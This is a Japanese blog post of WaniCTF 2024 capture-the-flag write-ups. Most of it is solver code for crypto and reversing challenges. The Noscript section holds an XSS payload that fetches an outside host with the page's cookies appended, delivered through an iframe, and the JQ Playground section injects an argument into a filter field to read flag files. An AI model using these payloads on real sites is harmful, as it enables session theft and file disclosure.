0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

wanictf 2024 とけたやつ

Last updated at Posted at 2024-06-23

beginners_rsa

from Crypto.Util.number import *

a1=9953162929836910171
a2=11771834931016130837
a3=12109985960354612149
a4=13079524394617385153
a5=17129880600534041513

k = (a1-1)*(a2-1)*(a3-1)*(a4-1)*(a5-1)

c=127075137729897107295787718796341877071536678034322988535029776806418266591167534816788125330265
e=65537

d=pow(e,-1,k)

m = pow(c,d, a1*a2*a3*a4*a5)

print(m)

print(long_to_bytes(m))

beginners_aes

総当たり

from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from os import urandom
import hashlib


print(urandom(1))

msg=b'\x16\x97,\xa7\xfb_\xf3\x15.\x87jKRaF&"\xb6\xc4x\xf4.K\xd77j\xe5MLI_y\xd96\xf1$\xc5\xa3\x03\x990Q^\xc0\x17M2\x18'

hash="6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e"

print(msg)

for i in range(255) :
    key = b'the_enc_key_is_'
    key += i.to_bytes(1)
    for j in range(255) :
        iv = b'my_great_iv_is_'
        iv += j.to_bytes(1)
        cipher = AES.new(key, AES.MODE_CBC, iv)
        enc = cipher.decrypt(msg)
        mg = enc.decode('utf-8', 'replace').strip('\x00')
        if 'FLAG' in mg :
            flag_hash = hashlib.sha256(enc).hexdigest()
            if flag_hash == hash:
                print(f"{mg} : {flag_hash}")

replacement

Md5は、戻せないけど同一

Code
import hashlib

m = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_/.,;@\'`!?\{ \\\}"'
p = {}

for c in  m :
    x = hashlib.md5(str(ord(c)).encode()).hexdigest()
    print(int(x, 16))
    p[int(x, 16)]=c



q = [265685380796387128074260337556987156845, 75371056103973480373443517203033791314, 330443362254714811278522520670919771869, 127044987962124214100696270195559210814, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 330443362254714811278522520670919771869, 301648155472379285594517050531127483548, 101473043316046160883738884593606957434, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 324787361952219506718126426467652498112, 324787361952219506718126426467652498112, 137941842177346839522203666758205652951, 211852213467947252418279649849888928870, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 229138548907862643092856609226723050075, 217694107356916866121607052237984398603, 75371056103973480373443517203033791314, 301648155472379285594517050531127483548, 127360297788558372456973998053019048669, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 225291938577970489582719213714180290820, 135217442928347349540220511812067137647, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 289548202804218369273708443831392368399, 132117099947440863086225782187112663809, 139335500873816609567900312949843139873, 268343242210070543641525550351035429524, 135217442928347349540220511812067137647, 57512852240092789512489991536185408584, 132117099947440863086225782187112663809, 52025852590564328496031723616521325469, 140302709094137701773086334180578563688, 127360297788558372456973998053019048669, 127044987962124214100696270195559210814, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 280290124780175821729678400814355564485, 132117099947440863086225782187112663809, 268343242210070543641525550351035429524, 301648155472379285594517050531127483548, 330443362254714811278522520670919771869, 132117099947440863086225782187112663809, 315344660197335367320188253944546305738, 127360297788558372456973998053019048669, 75371056103973480373443517203033791314, 301648155472379285594517050531127483548, 225291938577970489582719213714180290820, 314410903843616126162868425563187236446, 301648155472379285594517050531127483548, 57512852240092789512489991536185408584, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 301648155472379285594517050531127483548, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 52025852590564328496031723616521325469, 101473043316046160883738884593606957434, 132117099947440863086225782187112663809, 314410903843616126162868425563187236446, 301648155472379285594517050531127483548, 126195399674046097926516865351960453821, 140302709094137701773086334180578563688, 127360297788558372456973998053019048669, 135217442928347349540220511812067137647, 260950720930659604756740365450507371663, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 229138548907862643092856609226723050075, 301648155472379285594517050531127483548, 314410903843616126162868425563187236446, 75371056103973480373443517203033791314, 289548202804218369273708443831392368399, 132117099947440863086225782187112663809, 217928829273870340501940171394986772443, 127360297788558372456973998053019048669, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 225291938577970489582719213714180290820, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 314410903843616126162868425563187236446, 127360297788558372456973998053019048669, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 268343242210070543641525550351035429524, 217694107356916866121607052237984398603, 101473043316046160883738884593606957434, 132117099947440863086225782187112663809, 315344660197335367320188253944546305738, 127360297788558372456973998053019048669, 75371056103973480373443517203033791314, 10477030623836167233684437098032507967, 75371056103973480373443517203033791314, 330443362254714811278522520670919771869, 132117099947440863086225782187112663809, 229138548907862643092856609226723050075, 140302709094137701773086334180578563688, 314410903843616126162868425563187236446, 314410903843616126162868425563187236446, 75371056103973480373443517203033791314, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 301648155472379285594517050531127483548, 127044987962124214100696270195559210814, 330443362254714811278522520670919771869, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 301648155472379285594517050531127483548, 126195399674046097926516865351960453821, 140302709094137701773086334180578563688, 127360297788558372456973998053019048669, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 10477030623836167233684437098032507967, 301648155472379285594517050531127483548, 127360297788558372456973998053019048669, 52025852590564328496031723616521325469, 132117099947440863086225782187112663809, 315344660197335367320188253944546305738, 312483091106876729395161500591121481064, 260950720930659604756740365450507371663, 260950720930659604756740365450507371663, 75371056103973480373443517203033791314, 127360297788558372456973998053019048669, 101473043316046160883738884593606957434, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 140302709094137701773086334180578563688, 301648155472379285594517050531127483548, 57512852240092789512489991536185408584, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 135217442928347349540220511812067137647, 57512852240092789512489991536185408584, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 315344660197335367320188253944546305738, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 260950720930659604756740365450507371663, 289548202804218369273708443831392368399, 132117099947440863086225782187112663809, 153336653484216014488860143974073426008, 268343242210070543641525550351035429524, 301648155472379285594517050531127483548, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 312483091106876729395161500591121481064, 315344660197335367320188253944546305738, 319779899260524384061247969332041066255, 75371056103973480373443517203033791314, 229138548907862643092856609226723050075, 260950720930659604756740365450507371663, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 280290124780175821729678400814355564485, 132117099947440863086225782187112663809, 127360297788558372456973998053019048669, 75371056103973480373443517203033791314, 229138548907862643092856609226723050075, 75371056103973480373443517203033791314, 135217442928347349540220511812067137647, 126195399674046097926516865351960453821, 75371056103973480373443517203033791314, 330443362254714811278522520670919771869, 132117099947440863086225782187112663809, 301648155472379285594517050531127483548, 127044987962124214100696270195559210814, 132117099947440863086225782187112663809, 75371056103973480373443517203033791314, 52025852590564328496031723616521325469, 301648155472379285594517050531127483548, 135217442928347349540220511812067137647, 217694107356916866121607052237984398603, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 140302709094137701773086334180578563688, 330443362254714811278522520670919771869, 301648155472379285594517050531127483548, 101473043316046160883738884593606957434, 132117099947440863086225782187112663809, 10477030623836167233684437098032507967, 135217442928347349540220511812067137647, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 140302709094137701773086334180578563688, 52025852590564328496031723616521325469, 75371056103973480373443517203033791314, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 132117099947440863086225782187112663809, 127360297788558372456973998053019048669, 301648155472379285594517050531127483548, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 75371056103973480373443517203033791314, 127360297788558372456973998053019048669, 132117099947440863086225782187112663809, 169393384228144871625990433807197966773, 75371056103973480373443517203033791314, 229138548907862643092856609226723050075, 312483091106876729395161500591121481064, 217694107356916866121607052237984398603, 135217442928347349540220511812067137647, 301648155472379285594517050531127483548, 127360297788558372456973998053019048669, 132117099947440863086225782187112663809, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 132117099947440863086225782187112663809, 135217442928347349540220511812067137647, 260950720930659604756740365450507371663, 289548202804218369273708443831392368399, 132117099947440863086225782187112663809, 280290124780175821729678400814355564485, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 229138548907862643092856609226723050075, 140302709094137701773086334180578563688, 127044987962124214100696270195559210814, 260950720930659604756740365450507371663, 301648155472379285594517050531127483548, 135217442928347349540220511812067137647, 127044987962124214100696270195559210814, 75371056103973480373443517203033791314, 330443362254714811278522520670919771869, 132117099947440863086225782187112663809, 301648155472379285594517050531127483548, 132117099947440863086225782187112663809, 52025852590564328496031723616521325469, 101473043316046160883738884593606957434, 57512852240092789512489991536185408584, 260950720930659604756740365450507371663, 75371056103973480373443517203033791314, 127360297788558372456973998053019048669, 135217442928347349540220511812067137647, 140302709094137701773086334180578563688, 312483091106876729395161500591121481064, 57512852240092789512489991536185408584, 132117099947440863086225782187112663809, 52025852590564328496031723616521325469, 75371056103973480373443517203033791314, 57512852240092789512489991536185408584, 57512852240092789512489991536185408584, 301648155472379285594517050531127483548, 140175431361313732288440547599619953992, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 268343242210070543641525550351035429524, 301648155472379285594517050531127483548, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 301648155472379285594517050531127483548, 135217442928347349540220511812067137647, 330443362254714811278522520670919771869, 132117099947440863086225782187112663809, 302282648683284548814202807340787655613, 139335500873816609567900312949843139873, 268343242210070543641525550351035429524, 135217442928347349540220511812067137647, 57512852240092789512489991536185408584, 132117099947440863086225782187112663809, 135217442928347349540220511812067137647, 57512852240092789512489991536185408584, 132117099947440863086225782187112663809, 301648155472379285594517050531127483548, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 75371056103973480373443517203033791314, 229138548907862643092856609226723050075, 127360297788558372456973998053019048669, 75371056103973480373443517203033791314, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 229138548907862643092856609226723050075, 140302709094137701773086334180578563688, 330443362254714811278522520670919771869, 75371056103973480373443517203033791314, 328441037604453537976363247914938474182, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 140302709094137701773086334180578563688, 132117099947440863086225782187112663809, 169393384228144871625990433807197966773, 217694107356916866121607052237984398603, 75371056103973480373443517203033791314, 301648155472379285594517050531127483548, 57512852240092789512489991536185408584, 75371056103973480373443517203033791314, 132117099947440863086225782187112663809, 330443362254714811278522520670919771869, 140302709094137701773086334180578563688, 127044987962124214100696270195559210814, 285106641514631128245889883706054218556, 260950720930659604756740365450507371663, 132117099947440863086225782187112663809, 260950720930659604756740365450507371663, 75371056103973480373443517203033791314, 217694107356916866121607052237984398603, 217694107356916866121607052237984398603, 132117099947440863086225782187112663809, 301648155472379285594517050531127483548, 127044987962124214100696270195559210814, 101473043316046160883738884593606957434, 140302709094137701773086334180578563688, 127044987962124214100696270195559210814, 75371056103973480373443517203033791314, 289548202804218369273708443831392368399, 132117099947440863086225782187112663809, 165799207128434858641672726827070059029, 334755564751598048042394781213255939012, 335344749019279195985775024993445213947, 301423883473918993177634428163190101268, 42767516990368493138776584305024125808, 324787361952219506718126426467652498112, 53459933652527578064242465506376923016, 75371056103973480373443517203033791314, 169393384228144871625990433807197966773, 217694107356916866121607052237984398603, 204791166937441563272975036703176244680, 229138548907862643092856609226723050075, 75371056103973480373443517203033791314, 52025852590564328496031723616521325469, 53459933652527578064242465506376923016, 127044987962124214100696270195559210814, 260950720930659604756740365450507371663, 82324359399928500054185503234815398877, 302282648683284548814202807340787655613, 289548202804218369273708443831392368399, 132117099947440863086225782187112663809, 67435298396569627229809714987765527069, 140302709094137701773086334180578563688, 10477030623836167233684437098032507967, 132117099947440863086225782187112663809, 57512852240092789512489991536185408584, 260950720930659604756740365450507371663, 127360297788558372456973998053019048669, 301648155472379285594517050531127483548, 127044987962124214100696270195559210814, 140175431361313732288440547599619953992, 75371056103973480373443517203033791314, 32129299595146848534093479265394572654, 281595222973318803755638905082365601824, 281595222973318803755638905082365601824, 301423883473918993177634428163190101268, 312483091106876729395161500591121481064, 127360297788558372456973998053019048669, 75371056103973480373443517203033791314, 135217442928347349540220511812067137647, 57512852240092789512489991536185408584, 101473043316046160883738884593606957434, 301648155472379285594517050531127483548]

for t in  q :
    print(p[t])

tiny_usb

isoファイルもただのアーカイブなので、開けられる

Surveillance_of_sus

codebreaker

誤り訂正が効くので、#00000000 以外のところを全部白にして読み込むと行けた

JQ Playground

POST payload:

filter=-f` /f*'

nc

10

lambda

package main

import (
	"fmt"
	"strconv"
	"strings"
)

func main() {
	s := "16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r"
	a := strings.Split(s, "_")
	for _, v := range a {
		t, _ := strconv.ParseInt(v, 36, 32)
		t += 10
		fmt.Printf("%s", string(rune(t)^123-12+3))
	}
}

home

Ghidraに食わせて整形した

C++コード
#include <iostream>

int main()
{

  bool bVar1;
  int local_128;
  int local_124;
  int local_120;
  int local_11c;
//   uint local_118 [44];
  char acStack_68 [55];
  char local_31;
  int x;
  int y;
  
//   memcpy(local_118,&DAT_00102010,0xb0);


uint local_118[44] = {946 ,
932 ,
952 ,
938 ,
960 ,
932 ,
980 ,
962 ,
1008 ,
996 ,
984 ,
992 ,
1000 ,
562 ,
964 ,
566 ,
992 ,
974 ,
976 ,
560 ,
984 ,
964 ,
968 ,
556 ,
964 ,
974 ,
930 ,
988 ,
1008 ,
528 ,
986 ,
1000 ,
556 ,
568 ,
984 ,
542 ,
982 ,
562 ,
1006 ,
572 ,
572 ,
900 ,
624 ,
872 };

  local_11c = 0;
  local_128 = 0x7c46699a;
  while( true ) {
    while( true ) {
      while( true ) {
        while( true ) {
          while( true ) {
            while( true ) {
              while( true ) {
                while( true ) {
                  while( true ) {
                    while( true ) {
                      while (local_128 == -0x5ddba386) {
                        local_124 = local_124 + 1;
                        bVar1 = (x * (x + -1) & 1U) == 0;
                        local_128 = 0x60b926fc;
                        if (bVar1 && y < 10 || bVar1 != y < 10) {
                          local_128 = -0x51fc1498;
                        }
                      }
                      if (local_128 != -0x51fc1498) break;
                      local_128 = 0x19056f3d;
                    }
                    if (local_128 != -0x44e001df) break;
                    local_128 = 0x54525dca;
                    if ((local_31 & 1) != 0) {
                      local_128 = -0x1c311557;
                    }
                  }
                  if (local_128 != -0x34d6a440) break;
                  bVar1 = (x * (x + -1) & 1U) != 0;
                  local_128 = 0x58d9f831;
                  if (bVar1 != 9 < y || !bVar1 && 9 >= y) {
                    local_128 = -0x1d900a39;
                  }
                }
                if (local_128 != -0x2d337dcd) break;
                local_120 = local_120 + 1;
                local_128 = 0x694bd910;
              }
              if (local_128 != -0x2462fe04) break;
              local_128 = -0x22f9de40;
            }
            if (local_128 != -0x22f9de40) break;
            bVar1 = (x * (x + -1) & 1U) != 0;
            local_128 = 0x60b926fc;
            if (bVar1 != 9 < y || !bVar1 && 9 >= y) {
              local_128 = -0x5ddba386;
            }
          }
          if (local_128 != -0x21c3cf2d) break;
          local_31 = local_120 < 0x2c;
          bVar1 = (x * (x + -1) & 1U) == 0;
          local_128 = 0x34e86ff4;
          if (bVar1 && y < 10 || bVar1 != y < 10) {
            local_128 = -0x44e001df;
          }
        }
        if (local_128 != -0x1d900a39) break;
        acStack_68[local_124] = (char)local_118[local_124] - (char)local_124;
        bVar1 = (x * (x + -1) & 1U) == 0;
        local_128 = 0x58d9f831;
        if (bVar1 != y < 10 || bVar1 && y < 10) {
          local_128 = -0x2462fe04;
        }
      }
      if (local_128 != -0x1c311557) break;
      local_118[local_120] =
           (local_118[local_120] ^ 0xffffffff) & 0x19f | local_118[local_120] & 0xfffffe60;
      local_128 = -0x2d337dcd;
    }
    if (local_128 == 0x19341ee) break;
    if (local_128 == 0x19056f3d) {
      local_128 = 0x19341ee;
      if (local_124 < 0x2c) {
        local_128 = -0x34d6a440;
      }
    }
    else if (local_128 == 0x25d256eb) {
      local_118[local_11c] = (int)local_118[local_11c] / 2;
      local_128 = 0x299ff63b;
    }
    else if (local_128 == 0x299ff63b) {
      local_11c = local_11c + 1;
      local_128 = 0x7c46699a;
    }
    else if (local_128 == 0x33ee2572) {
      local_120 = 0;
      local_128 = 0x694bd910;
    }
    else if (local_128 == 0x34e86ff4) {
      local_128 = -0x21c3cf2d;
    }
    else if (local_128 == 0x54525dca) {
      local_124 = 0;
      local_128 = 0x19056f3d;
    }
    else if (local_128 == 0x58d9f831) {
      acStack_68[local_124] = (char)local_118[local_124] - (char)local_124;
      local_128 = -0x1d900a39;
    }
    else if (local_128 == 0x60b926fc) {
      local_124 = local_124 + 1;
      local_128 = -0x5ddba386;
    }
    else if (local_128 == 0x694bd910) {
      bVar1 = (x * (x + -1) & 1U) == 0;
      local_128 = 0x34e86ff4;
      if (bVar1 && y < 10 || bVar1 != y < 10) {
        local_128 = -0x21c3cf2d;
      }
    }
    else if ((local_128 == 0x7c46699a) && (local_128 = 0x33ee2572, local_11c < 0x2c)) {
      local_128 = 0x25d256eb;
    }
  }
  
  for(int i = 0; i < 44;i ++) {
     std::cout<<(char)acStack_68[i]; //flag
  }
  
    return 0;
}

Bad_Worker

/flag.txt を見に行く。

pow

同じ数値でも複数回送ればカウントが増えていく。
同じ数値をたくさん入れた json を POST

Noscript

username というエンドポイントがあり、それを活用。
iframeに入れて実行させよう

id:

<html><head></head><body><script>fetch("******"+document.cookies)</script></body>

profile:

 <iframe src="/username/*******-970e-4fb2-b43d-09fca03fd6ef"></iframe>
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?